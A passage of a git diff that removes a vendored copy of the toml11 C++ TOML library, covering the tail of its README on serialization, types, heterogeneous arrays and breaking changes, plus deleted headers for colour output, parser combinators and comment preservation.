-// "single","line","isn't","it?",
-// ]
-// quux = ["small","array","of","strings"]
-// qux = {bar="baz",foo=42}
-
-
-// the width is 0. nothing become inline.
-std::cout << std::setw(0) << data << std::endl;
-// foobar = [
-// "this",
-// ... (snip)
-// "it?",
-// ]
-// quux = [
-// "small",
-// "array",
-// "of",
-// "strings",
-// ]
-// [qux]
-// bar = "baz"
-// foo = 42
-```
-
-It is recommended to set width before printing data. Some I/O functions changes
-width to 0, and it makes all the stuff (including `toml::array`) multiline.
-The resulting files becomes too long.
-
-To control the precision of floating point numbers, you need to pass
-`std::setprecision` to stream.
-
-```cpp
-const toml::value data{
-    {"pi", 3.141592653589793},
-    {"e",  2.718281828459045}
-};
-std::cout << std::setprecision(17) << data << std::endl;
-// e = 2.7182818284590451
-// pi = 3.1415926535897931
-std::cout << std::setprecision( 7) << data << std::endl;
-// e = 2.718282
-// pi = 3.141593
-```
-
-There is another way to format toml values, `toml::format()`.
-It returns `std::string` that represents a value.
-
-```cpp
-const toml::value v{{"a", 42}};
-const std::string fmt = toml::format(v);
-// a = 42
-```
-
-Note that since `toml::format` formats a value, the resulting string may lack
-the key value.
-
-```cpp
-const toml::value v{3.14};
-const std::string fmt = toml::format(v);
-// 3.14
-```
-
-To control the width and precision, `toml::format` receives optional second and
-third arguments to set them. By default, the width is 80 and the precision is
-`std::numeric_limits<double>::max_digit10`.
-
-```cpp
-const auto serial = toml::format(data, /*width = */ 0, /*prec = */ 17);
-```
-
-When you pass a comment-preserving-value, the comment will also be serialized.
-An array or a table containing a value that has a comment would not be inlined.
-
-## Underlying types
-
-The toml types (can be used as `toml::*` in this library) and corresponding `enum` names are listed in the table below.
-
-| TOML type      | underlying c++ type                | enum class                       |
-| -------------- | ---------------------------------- | -------------------------------- |
-| Boolean        | `bool`                             | `toml::value_t::boolean`         |
-| Integer        | `std::int64_t`                     | `toml::value_t::integer`         |
-| Float          | `double`                           | `toml::value_t::floating`        |
-| String         | `toml::string`                     | `toml::value_t::string`          |
-| LocalDate      | `toml::local_date`                 | `toml::value_t::local_date`      |
-| LocalTime      | `toml::local_time`                 | `toml::value_t::local_time`      |
-| LocalDatetime  | `toml::local_datetime`             | `toml::value_t::local_datetime`  |
-| OffsetDatetime | `toml::offset_datetime`            | `toml::value_t::offset_datetime` |
-| Array          | `array-like<toml::value>`          | `toml::value_t::array`           |
-| Table          | `map-like<toml::key, toml::value>` | `toml::value_t::table`           |
-
-`array-like` and `map-like` are the STL containers that works like a `std::vector` and
-`std::unordered_map`, respectively. By default, `std::vector` and `std::unordered_map`
-are used. See [Customizing containers](#customizing-containers) for detail.
-
-`toml::string` is effectively the same as `std::string` but has an additional
-flag that represents a kind of a string, `string_t::basic` and `string_t::literal`.
-Although `std::string` is not an exact toml type, still you can get a reference
-that points to internal `std::string` by using `toml::get<std::string>()` for convenience.
-The most important difference between `std::string` and `toml::string` is that
-`toml::string` will be formatted as a TOML string when outputted with `ostream`.
-This feature is introduced to make it easy to write a custom serializer.
-
-`Datetime` variants are `struct` that are defined in this library.
-Because `std::chrono::system_clock::time_point` is a __time point__,
-not capable of representing a Local Time independent from a specific day.
-
-## Unreleased TOML features
-
-Since TOML v1.0.0-rc.1 has been released, those features are now activated by
-default. We no longer need to define `TOML11_USE_UNRELEASED_FEATURES`.
-
-- Leading zeroes in exponent parts of floats are permitted.
-  - e.g. `1.0e+01`, `5e+05`
-  - [toml-lang/toml/PR/656](https://github.com/toml-lang/toml/pull/656)
-- Allow raw tab characters in basic strings and multi-line basic strings.
-  - [toml-lang/toml/PR/627](https://github.com/toml-lang/toml/pull/627)
-- Allow heterogeneous arrays
-  - [toml-lang/toml/PR/676](https://github.com/toml-lang/toml/pull/676)
-
-## Note about heterogeneous arrays
-
-Although `toml::parse` allows heterogeneous arrays, constructor of `toml::value`
-does not. Here the reason is explained.
-
-```cpp
-// this won't be compiled
-toml::value v{
-    "foo", 3.14, 42, {1,2,3,4,5}, {{"key", "value"}}
-}
-```
-
-There is a workaround for this. By explicitly converting values into
-`toml::value`, you can initialize `toml::value` with a heterogeneous array.
-Also, you can first initialize a `toml::value` with an array and then
-`push_back` into it.
-
-```cpp
-// OK!
-toml::value v{
-    toml::value("foo"), toml::value(3.14), toml::value(42),
-    toml::value{1,2,3,4,5}, toml::value{{"key", "value"}}
-}
-
-// OK!
-toml::value v(toml::array{});
-v.push_back("foo");
-v.push_back(3.14);
-
-// OK!
-toml::array a;
-a.push_back("foo");
-a.push_back(3.14);
-toml::value v(std::move(a));
-```
-
-The reason why the first example is not allowed is the following.
-Let's assume that you are initializing a `toml::value` with a table.
-
-```cpp
-                    // # expecting TOML table.
-toml::value v{      // [v]
-    {"answer", 42}, // answer = 42
-    {"pi",   3.14}, // pi = 3.14
-    {"foo", "bar"}  // foo = "bar"
-};
-```
-
-This is indistinguishable from a (heterogeneous) TOML array definition.
-
-```toml
-v = [
-    ["answer", 42],
-    ["pi",   3.14],
-    ["foo", "bar"],
-]
-```
-
-This means that the above C++ code makes constructor's overload resolution
-ambiguous. So a constructor that allows both "table as an initializer-list" and
-"heterogeneous array as an initializer-list" cannot be implemented.
-
-Thus, although it is painful, we need to explicitly cast values into
-`toml::value` when you initialize heterogeneous array in a C++ code.
-
-```cpp
-toml::value v{
-    toml::value("foo"), toml::value(3.14), toml::value(42),
-    toml::value{1,2,3,4,5}, toml::value{{"key", "value"}}
-};
-```
-
-## Breaking Changes from v2
-
-Although toml11 is relatively new library (it's three years old now), it had
-some confusing and inconvenient user-interfaces because of historical reasons.
-
-Between v2 and v3, those interfaces are rearranged.
-
-- `toml::parse` now returns a `toml::value`, not `toml::table`.
-- `toml::value` is now an alias of `toml::basic_value<discard_comment, std::vector, std::unordered_map>`.
-  - See [Customizing containers](#customizing-containers) for detail.
-- The elements of `toml::value_t` are renamed as `snake_case`.
-  - See [Underlying types](#underlying-types) for detail.
-- Supports for the CamelCaseNames are dropped.
-  - See [Underlying types](#underlying-types) for detail.
-- `(is|as)_float` has been removed to make the function names consistent with others.
-  - Since `float` is a keyword, toml11 named a float type as `toml::floating`.
-  - Also a `value_t` corresponds to `toml::floating` is named `value_t::floating`.
-  - So `(is|as)_floating` is introduced and `is_float` has been removed.
-  - See [Casting a toml::value](#casting-a-tomlvalue) and [Checking value type](#checking-value-type) for detail.
-- An overload of `toml::find` for `toml::table` has been dropped. Use `toml::value` version instead.
-  - Because type conversion between a table and a value causes ambiguity while overload resolution
-  - Since `toml::parse` now returns a `toml::value`, this feature becomes less important.
-  - Also because `toml::table` is a normal STL container, implementing utility function is easy.
-  - See [Finding a toml::value](#finding-a-toml-value) for detail.
-- An overload of `operator<<` and `toml::format` for `toml::table`s are dropped.
-  - Use `toml::value` instead.
-  - See [Serializing TOML data](#serializing-toml-data) for detail.
-- Interface around comments.
-  - See [Preserving Comments](#preserving-comments) for detail.
-- An ancient `from_toml/into_toml` has been removed. Use arbitrary type conversion support.
-  - See [Conversion between toml value and arbitrary types](#conversion-between-toml-value-and-arbitrary-types) for detail.
-
-Such a big change will not happen in the coming years.
-
-## Running Tests
-
-After cloning this repository, run the following command (thank you @jwillikers
-for automating test set fetching!).
-
-```sh
-$ mkdir build
-$ cd build
-$ cmake .. -Dtoml11_BUILD_TEST=ON
-$ make
-$ make test
-```
-
-To run the language agnostic test suite, you need to compile
-`tests/check_toml_test.cpp` and pass it to the tester.
-
-## Contributors
-
-I appreciate the help of the contributors who introduced the great feature to this library.
-
-- Guillaume Fraux (@Luthaf)
-  - Windows support and CI on Appvayor
-  - Intel Compiler support
-- Quentin Khan (@xaxousis)
-  - Found & Fixed a bug around ODR
-  - Improved error messages for invalid keys to show the location where the parser fails
-- Petr Beneš (@wbenny)
-  - Fixed warnings on MSVC
-- Ivan Shynkarenka (@chronoxor)
-  - Fixed Visual Studio 2019 warnings
-- @khoitd1997
-  - Fixed warnings while type conversion
-- @KerstinKeller
-  - Added installation script to CMake
-- J.C. Moyer (@jcmoyer)
-  - Fixed an example code in the documentation
-- Jt Freeman (@blockparty-sh)
-  - Fixed feature test macro around `localtime_s`
-  - Suppress warnings in Debug mode
-- OGAWA Kenichi (@kenichiice)
-  - Suppress warnings on intel compiler
-- Jordan Williams (@jwillikers)
-  - Fixed clang range-loop-analysis warnings
-  - Fixed feature test macro to suppress -Wundef
-  - Use cache variables in CMakeLists.txt
-  - Automate test set fetching, update and refactor CMakeLists.txt
-- Scott McCaskill
-  - Parse 9 digits (nanoseconds) of fractional seconds in a `local_time`
-- Shu Wang (@halfelf)
-  - fix "Finding a value in an array" example in README
-- @maass-tv and @SeverinLeonhardt
-  - Fix MSVC warning C4866
-- OGAWA KenIchi (@kenichiice)
-  - Fix include path in README
-- Mohammed Alyousef (@MoAlyousef)
-  - Made testing optional in CMake
-- Ivan Shynkarenka (@chronoxor)
-  - Fix compilation error in `<filesystem>` with MinGW
-- Alex Merry (@amerry)
-  - Add missing include files
-- sneakypete81 (@sneakypete81)
-  - Fix typo in error message
-- Oliver Kahrmann (@founderio)
-  - Fix missing filename in error message if parsed file is empty
-- Karl Nilsson (@karl-nilsson)
-  - Fix many spelling errors
-- ohdarling88 (@ohdarling)
-  - Fix a bug in a constructor of serializer
-- estshorter (@estshorter)
-  - Fix MSVC warning C26478
-- Philip Top (@phlptp)
-  - Improve checking standard library feature availability check
-- Louis Marascio (@marascio)
-  - Fix free-nonheap-object warning
-
-
-## Licensing terms
-
-This product is licensed under the terms of the [MIT License](LICENSE).
-
-- Copyright (c) 2017-2021 Toru Niina
-
-All rights reserved.
diff --git a/src/toml11/toml.hpp b/src/toml11/toml.hpp
deleted file mode 100644
index f34cfcccaf3..00000000000
--- a/src/toml11/toml.hpp
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * The MIT License (MIT)
- *
- * Copyright (c) 2017 Toru Niina
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
- * THE SOFTWARE.
- */
-
-#ifndef TOML_FOR_MODERN_CPP
-#define TOML_FOR_MODERN_CPP
-
-#ifndef __cplusplus
-#    error "__cplusplus is not defined"
-#endif
-
-#if __cplusplus < 201103L && _MSC_VER < 1900
-#    error "toml11 requires C++11 or later."
-#endif
-
-#define TOML11_VERSION_MAJOR 3
-#define TOML11_VERSION_MINOR 7
-#define TOML11_VERSION_PATCH 0
-
-#include "toml/parser.hpp"
-#include "toml/literal.hpp"
-#include "toml/serializer.hpp"
-#include "toml/get.hpp"
-#include "toml/macros.hpp"
-
-#endif// TOML_FOR_MODERN_CPP
diff --git a/src/toml11/toml/color.hpp b/src/toml11/toml/color.hpp
deleted file mode 100644
index 4cb572cb089..00000000000
--- a/src/toml11/toml/color.hpp
+++ /dev/null
@@ -1,64 +0,0 @@
-#ifndef TOML11_COLOR_HPP
-#define TOML11_COLOR_HPP
-#include <cstdint>
-#include <ostream>
-
-#ifdef TOML11_COLORIZE_ERROR_MESSAGE
-#define TOML11_ERROR_MESSAGE_COLORIZED true
-#else
-#define TOML11_ERROR_MESSAGE_COLORIZED false
-#endif
-
-namespace toml
-{
-
-// put ANSI escape sequence to ostream
-namespace color_ansi
-{
-namespace detail
-{
-inline int colorize_index()
-{
-    static const int index = std::ios_base::xalloc();
-    return index;
-}
-} // detail
-
-inline std::ostream& colorize(std::ostream& os)
-{
-    // by default, it is zero.
-    os.iword(detail::colorize_index()) = 1;
-    return os;
-}
-inline std::ostream& nocolorize(std::ostream& os)
-{
-    os.iword(detail::colorize_index()) = 0;
-    return os;
-}
-inline std::ostream& reset  (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[00m";} return os;}
-inline std::ostream& bold   (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[01m";} return os;}
-inline std::ostream& grey   (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[30m";} return os;}
-inline std::ostream& red    (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[31m";} return os;}
-inline std::ostream& green  (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[32m";} return os;}
-inline std::ostream& yellow (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[33m";} return os;}
-inline std::ostream& blue   (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[34m";} return os;}
-inline std::ostream& magenta(std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[35m";} return os;}
-inline std::ostream& cyan   (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[36m";} return os;}
-inline std::ostream& white  (std::ostream& os)
-{if(os.iword(detail::colorize_index()) == 1) {os << "\033[37m";} return os;}
-} // color_ansi
-
-// ANSI escape sequence is the only and default colorization method currently
-namespace color = color_ansi;
-
-} // toml
-#endif// TOML11_COLOR_HPP
diff --git a/src/toml11/toml/combinator.hpp b/src/toml11/toml/combinator.hpp
deleted file mode 100644
index 33ecca1eb55..00000000000
--- a/src/toml11/toml/combinator.hpp
+++ /dev/null
@@ -1,306 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_COMBINATOR_HPP
-#define TOML11_COMBINATOR_HPP
-#include <cassert>
-#include <cctype>
-#include <cstdio>
-
-#include <array>
-#include <iomanip>
-#include <iterator>
-#include <limits>
-#include <type_traits>
-
-#include "region.hpp"
-#include "result.hpp"
-#include "traits.hpp"
-#include "utility.hpp"
-
-// they scans characters and returns region if it matches to the condition.
-// when they fail, it does not change the location.
-// in lexer.hpp, these are used.
-
-namespace toml
-{
-namespace detail
-{
-
-// to output character as an error message.
-inline std::string show_char(const char c)
-{
-    // It suppresses an error that occurs only in Debug mode of MSVC++ on Windows.
-    // I'm not completely sure but they check the value of char to be in the
-    // range [0, 256) and some of the COMPLETELY VALID utf-8 character sometimes
-    // has negative value (if char has sign). So here it re-interprets c as
-    // unsigned char through pointer. In general, converting pointer to a
-    // pointer that has different type cause UB, but `(signed|unsigned)?char`
-    // are one of the exceptions. Converting pointer only to char and std::byte
-    // (c++17) are valid.
-    if(std::isgraph(*reinterpret_cast<unsigned char const*>(std::addressof(c))))
-    {
-        return std::string(1, c);
-    }
-    else
-    {
-        std::array<char, 5> buf;
-        buf.fill('\0');
-        const auto r = std::snprintf(
-                buf.data(), buf.size(), "0x%02x", static_cast<int>(c) & 0xFF);
-        (void) r; // Unused variable warning
-        assert(r == static_cast<int>(buf.size()) - 1);
-        return std::string(buf.data());
-    }
-}
-
-template<char C>
-struct character
-{
-    static constexpr char target = C;
-
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        if(loc.iter() == loc.end()) {return none();}
-        const auto first = loc.iter();
-
-        const char c = *(loc.iter());
-        if(c != target)
-        {
-            return none();
-        }
-        loc.advance(); // update location
-
-        return ok(region(loc, first, loc.iter()));
-    }
-};
-template<char C>
-constexpr char character<C>::target;
-
-// closed interval [Low, Up]. both Low and Up are included.
-template<char Low, char Up>
-struct in_range
-{
-    // assuming ascii part of UTF-8...
-    static_assert(Low <= Up, "lower bound should be less than upper bound.");
-
-    static constexpr char upper = Up;
-    static constexpr char lower = Low;
-
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        if(loc.iter() == loc.end()) {return none();}
-        const auto first = loc.iter();
-
-        const char c = *(loc.iter());
-        if(c < lower || upper < c)
-        {
-            return none();
-        }
-
-        loc.advance();
-        return ok(region(loc, first, loc.iter()));
-    }
-};
-template<char L, char U> constexpr char in_range<L, U>::upper;
-template<char L, char U> constexpr char in_range<L, U>::lower;
-
-// keep iterator if `Combinator` matches. otherwise, increment `iter` by 1 char.
-// for detecting invalid characters, like control sequences in toml string.
-template<typename Combinator>
-struct exclude
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        if(loc.iter() == loc.end()) {return none();}
-        auto first = loc.iter();
-
-        auto rslt = Combinator::invoke(loc);
-        if(rslt.is_ok())
-        {
-            loc.reset(first);
-            return none();
-        }
-        loc.reset(std::next(first)); // XXX maybe loc.advance() is okay but...
-        return ok(region(loc, first, loc.iter()));
-    }
-};
-
-// increment `iter`, if matches. otherwise, just return empty string.
-template<typename Combinator>
-struct maybe
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        const auto rslt = Combinator::invoke(loc);
-        if(rslt.is_ok())
-        {
-            return rslt;
-        }
-        return ok(region(loc));
-    }
-};
-
-template<typename ... Ts>
-struct sequence;
-
-template<typename Head, typename ... Tail>
-struct sequence<Head, Tail...>
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        const auto first = loc.iter();
-        auto rslt = Head::invoke(loc);
-        if(rslt.is_err())
-        {
-            loc.reset(first);
-            return none();
-        }
-        return sequence<Tail...>::invoke(loc, std::move(rslt.unwrap()), first);
-    }
-
-    // called from the above function only, recursively.
-    template<typename Iterator>
-    static result<region, none_t>
-    invoke(location& loc, region reg, Iterator first)
-    {
-        const auto rslt = Head::invoke(loc);
-        if(rslt.is_err())
-        {
-            loc.reset(first);
-            return none();
-        }
-        reg += rslt.unwrap(); // concat regions
-        return sequence<Tail...>::invoke(loc, std::move(reg), first);
-    }
-};
-
-template<typename Head>
-struct sequence<Head>
-{
-    // would be called from sequence<T ...>::invoke only.
-    template<typename Iterator>
-    static result<region, none_t>
-    invoke(location& loc, region reg, Iterator first)
-    {
-        const auto rslt = Head::invoke(loc);
-        if(rslt.is_err())
-        {
-            loc.reset(first);
-            return none();
-        }
-        reg += rslt.unwrap(); // concat regions
-        return ok(reg);
-    }
-};
-
-template<typename ... Ts>
-struct either;
-
-template<typename Head, typename ... Tail>
-struct either<Head, Tail...>
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        const auto rslt = Head::invoke(loc);
-        if(rslt.is_ok()) {return rslt;}
-        return either<Tail...>::invoke(loc);
-    }
-};
-template<typename Head>
-struct either<Head>
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        return Head::invoke(loc);
-    }
-};
-
-template<typename T, typename N>
-struct repeat;
-
-template<std::size_t N> struct exactly{};
-template<std::size_t N> struct at_least{};
-struct unlimited{};
-
-template<typename T, std::size_t N>
-struct repeat<T, exactly<N>>
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        region retval(loc);
-        const auto first = loc.iter();
-        for(std::size_t i=0; i<N; ++i)
-        {
-            auto rslt = T::invoke(loc);
-            if(rslt.is_err())
-            {
-                loc.reset(first);
-                return none();
-            }
-            retval += rslt.unwrap();
-        }
-        return ok(std::move(retval));
-    }
-};
-
-template<typename T, std::size_t N>
-struct repeat<T, at_least<N>>
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        region retval(loc);
-
-        const auto first = loc.iter();
-        for(std::size_t i=0; i<N; ++i)
-        {
-            auto rslt = T::invoke(loc);
-            if(rslt.is_err())
-            {
-                loc.reset(first);
-                return none();
-            }
-            retval += rslt.unwrap();
-        }
-        while(true)
-        {
-            auto rslt = T::invoke(loc);
-            if(rslt.is_err())
-            {
-                return ok(std::move(retval));
-            }
-            retval += rslt.unwrap();
-        }
-    }
-};
-
-template<typename T>
-struct repeat<T, unlimited>
-{
-    static result<region, none_t>
-    invoke(location& loc)
-    {
-        region retval(loc);
-        while(true)
-        {
-            auto rslt = T::invoke(loc);
-            if(rslt.is_err())
-            {
-                return ok(std::move(retval));
-            }
-            retval += rslt.unwrap();
-        }
-    }
-};
-
-} // detail
-} // toml
-#endif// TOML11_COMBINATOR_HPP
diff --git a/src/toml11/toml/comments.hpp b/src/toml11/toml/comments.hpp
deleted file mode 100644
index ec250411755..00000000000
--- a/src/toml11/toml/comments.hpp
+++ /dev/null
@@ -1,472 +0,0 @@
-//     Copyright Toru Niina 2019.
-// Distributed under the MIT License.
-#ifndef TOML11_COMMENTS_HPP
-#define TOML11_COMMENTS_HPP
-#include <initializer_list>
-#include <iterator>
-#include <stdexcept>
-#include <string>
-#include <type_traits>
-#include <utility>
-#include <vector>
-
-#ifdef TOML11_PRESERVE_COMMENTS_BY_DEFAULT
-#  define TOML11_DEFAULT_COMMENT_STRATEGY ::toml::preserve_comments
-#else
-#  define TOML11_DEFAULT_COMMENT_STRATEGY ::toml::discard_comments
-#endif
-
-// This file provides mainly two classes, `preserve_comments` and `discard_comments`.
-// Those two are a container that have the same interface as `std::vector<std::string>`
-// but bahaves in the opposite way. `preserve_comments` is just the same as
-// `std::vector<std::string>` and each `std::string` corresponds to a comment line.
-// Conversely, `discard_comments` discards all the strings and ignores everything
-// assigned in it. `discard_comments` is always empty and you will encounter an
-// error whenever you access to the element.
-namespace toml
-{
-struct discard_comments; // forward decl
-
-// use it in the following way
-//
-// const toml::basic_value<toml::preserve_comments> data =
-//     toml::parse<toml::preserve_comments>("example.toml");
-//
-// the interface is almost the same as std::vector<std::string>.
-struct preserve_comments
-{
-    // `container_type` is not provided in discard_comments.
-    // do not use this inner-type in a generic code.
-    using container_type         = std::vector<std::string>;
-
-    using size_type              = container_type::size_type;
-    using difference_type        = container_type::difference_type;
-    using value_type             = container_type::value_type;
-    using reference              = container_type::reference;
-    using const_reference        = container_type::const_reference;
-    using pointer                = container_type::pointer;
-    using const_pointer          = container_type::const_pointer;
-    using iterator               = container_type::iterator;
-    using const_iterator         = container_type::const_iterator;
-    using reverse_iterator       = container_type::reverse_iterator;
-    using const_reverse_iterator = container_type::const_reverse_iterator;
-
-    preserve_comments()  = default;
-    ~preserve_comments() = default;
-    preserve_comments(preserve_comments const&) = default;
-    preserve_comments(preserve_comments &&)     = default;
-    preserve_comments& operator=(preserve_comments const&) = default;
-    preserve_comments& operator=(preserve_comments &&)     = default;
-
-    explicit preserve_comments(const std::vector<std::string>& c): comments(c){}
-    explicit preserve_comments(std::vector<std::string>&& c)
-        : comments(std::move(c))
-    {}
-    preserve_comments& operator=(const std::vector<std::string>& c)
-    {
-        comments = c;
-        return *this;
-    }
-    preserve_comments& operator=(std::vector<std::string>&& c)
-    {
-        comments = std::move(c);
-        return *this;
-    }
-
-    explicit preserve_comments(const discard_comments&) {}
-
-    explicit preserve_comments(size_type n): comments(n) {}
-    preserve_comments(size_type n, const std::string& x): comments(n, x) {}
-    preserve_comments(std::initializer_list<std::string> x): comments(x) {}
-    template<typename InputIterator>
-    preserve_comments(InputIterator first, InputIterator last)
-        : comments(first, last)
-    {}
-
-    template<typename InputIterator>
-    void assign(InputIterator first, InputIterator last) {comments.assign(first, last);}
-    void assign(std::initializer_list<std::string> ini)  {comments.assign(ini);}
-    void assign(size_type n, const std::string& val)     {comments.assign(n, val);}
-
-    // Related to the issue #97.
-    //
-    // It is known that `std::vector::insert` and `std::vector::erase` in
-    // the standard library implementation included in GCC 4.8.5 takes
-    // `std::vector::iterator` instead of `std::vector::const_iterator`.
-    // Because of the const-correctness, we cannot convert a `const_iterator` to
-    // an `iterator`. It causes compilation error in GCC 4.8.5.
-#if defined(__GNUC__) && defined(__GNUC_MINOR__) && defined(__GNUC_PATCHLEVEL__) && !defined(__clang__)
-#  if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) <= 40805
-#    define TOML11_WORKAROUND_GCC_4_8_X_STANDARD_LIBRARY_IMPLEMENTATION
-#  endif
-#endif
-
-#ifdef TOML11_WORKAROUND_GCC_4_8_X_STANDARD_LIBRARY_IMPLEMENTATION
-    iterator insert(iterator p, const std::string& x)
-    {
-        return comments.insert(p, x);
-    }
-    iterator insert(iterator p, std::string&&      x)
-    {
-        return comments.insert(p, std::move(x));
-    }
-    void insert(iterator p, size_type n, const std::string& x)
-    {
-        return comments.insert(p, n, x);
-    }
-    template<typename InputIterator>
-    void insert(iterator p, InputIterator first, InputIterator last)
-    {
-        return comments.insert(p, first, last);
-    }
-    void insert(iterator p, std::initializer_list<std::string> ini)
-    {
-        return comments.insert(p, ini);
-    }
-
-    template<typename ... Ts>
-    iterator emplace(iterator p, Ts&& ... args)
-    {
-        return comments.emplace(p, std::forward<Ts>(args)...);
-    }
-
-    iterator erase(iterator pos) {return comments.erase(pos);}
-    iterator erase(iterator first, iterator last)
-    {
-        return comments.erase(first, last);
-    }
-#else
-    iterator insert(const_iterator p, const std::string& x)
-    {
-        return comments.insert(p, x);
-    }
-    iterator insert(const_iterator p, std::string&&      x)
-    {
-        return comments.insert(p, std::move(x));
-    }
-    iterator insert(const_iterator p, size_type n, const std::string& x)
-    {
-        return comments.insert(p, n, x);
-    }
-    template<typename InputIterator>
-    iterator insert(const_iterator p, InputIterator first, InputIterator last)
-    {
-        return comments.insert(p, first, last);
-    }
-    iterator insert(const_iterator p, std::initializer_list<std::string> ini)
-    {
-        return comments.insert(p, ini);
-    }
-
-    template<typename ... Ts>
-    iterator emplace(const_iterator p, Ts&& ... args)
-    {
-        return comments.emplace(p, std::forward<Ts>(args)...);
-    }
-
-    iterator erase(const_iterator pos) {return comments.erase(pos);}
-    iterator erase(const_iterator first, const_iterator last)
-    {
-        return comments.erase(first, last);
-    }
-#endif
-
-    void swap(preserve_comments& other) {comments.swap(other.comments);}
-
-    void push_back(const std::string& v) {comments.push_back(v);}
-    void push_back(std::string&&      v) {comments.push_back(std::move(v));}
-    void pop_back()                      {comments.pop_back();}
-
-    template<typename ... Ts>
-    void emplace_back(Ts&& ... args) {comments.emplace_back(std::forward<Ts>(args)...);}
-
-    void clear() {comments.clear();}
-
-    size_type size()     const noexcept {return comments.size();}
-    size_type max_size() const noexcept {return comments.max_size();}
-    size_type capacity() const noexcept {return comments.capacity();}
-    bool      empty()    const noexcept {return comments.empty();}
-
-    void reserve(size_type n)                      {comments.reserve(n);}
-    void resize(size_type n)                       {comments.resize(n);}
-    void resize(size_type n, const std::string& c) {comments.resize(n, c);}
-    void shrink_to_fit()                           {comments.shrink_to_fit();}
-
-    reference       operator[](const size_type n)       noexcept {return comments[n];}
-    const_reference operator[](const size_type n) const noexcept {return comments[n];}
-    reference       at(const size_type n)       {return comments.at(n);}
-    const_reference at(const size_type n) const {return comments.at(n);}
-    reference       front()       noexcept {return comments.front();}
-    const_reference front() const noexcept {return comments.front();}
-    reference       back()        noexcept {return comments.back();}
-    const_reference back()  const noexcept {return comments.back();}
-
-    pointer         data()        noexcept {return comments.data();}
-    const_pointer   data()  const noexcept {return comments.data();}
-
-    iterator       begin()        noexcept {return comments.begin();}
-    iterator       end()          noexcept {return comments.end();}
-    const_iterator begin()  const noexcept {return comments.begin();}
-    const_iterator end()    const noexcept {return comments.end();}
-    const_iterator cbegin() const noexcept {return comments.cbegin();}
-    const_iterator cend()   const noexcept {return comments.cend();}
-
-    reverse_iterator       rbegin()        noexcept {return comments.rbegin();}
-    reverse_iterator       rend()          noexcept {return comments.rend();}
-    const_reverse_iterator rbegin()  const noexcept {return comments.rbegin();}
-    const_reverse_iterator rend()    const noexcept {return comments.rend();}
-    const_reverse_iterator crbegin() const noexcept {return comments.crbegin();}
-    const_reverse_iterator crend()   const noexcept {return comments.crend();}
-
-    friend bool operator==(const preserve_comments&, const preserve_comments&);
-    friend bool operator!=(const preserve_comments&, const preserve_comments&);
-    friend bool operator< (const preserve_comments&, const preserve_comments&);
-    friend bool operator<=(const preserve_comments&, const preserve_comments&);
-    friend bool operator> (const preserve_comments&, const preserve_comments&);
-    friend bool operator>=(const preserve_comments&, const preserve_comments&);
-
-    friend void swap(preserve_comments&, std::vector<std::string>&);
-    friend void swap(std::vector<std::string>&, preserve_comments&);
-
-  private:
-
-    container_type comments;
-};
-
-inline bool operator==(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments == rhs.comments;}
-inline bool operator!=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments != rhs.comments;}
-inline bool operator< (const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments <  rhs.comments;}
-inline bool operator<=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments <= rhs.comments;}
-inline bool operator> (const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments >  rhs.comments;}
-inline bool operator>=(const preserve_comments& lhs, const preserve_comments& rhs) {return lhs.comments >= rhs.comments;}
-
-inline void swap(preserve_comments& lhs, preserve_comments& rhs)
-{
-    lhs.swap(rhs);
-    return;
-}
-inline void swap(preserve_comments& lhs, std::vector<std::string>& rhs)
-{
-    lhs.comments.swap(rhs);
-    return;
-}
-inline void swap(std::vector<std::string>& lhs, preserve_comments& rhs)
-{
-    lhs.swap(rhs.comments);
-    return;
-}
-
-template<typename charT, typename traits>
-std::basic_ostream<charT, traits>&
-operator<<(std::basic_ostream<charT, traits>& os, const preserve_comments& com)
-{
-    for(const auto& c : com)
-    {
-        os << '#' << c << '\n';
-    }
-    return os;
-}
-
-namespace detail
-{
-
-// To provide the same interface with `preserve_comments`, `discard_comments`
-// should have an iterator. But it does not contain anything, so we need to
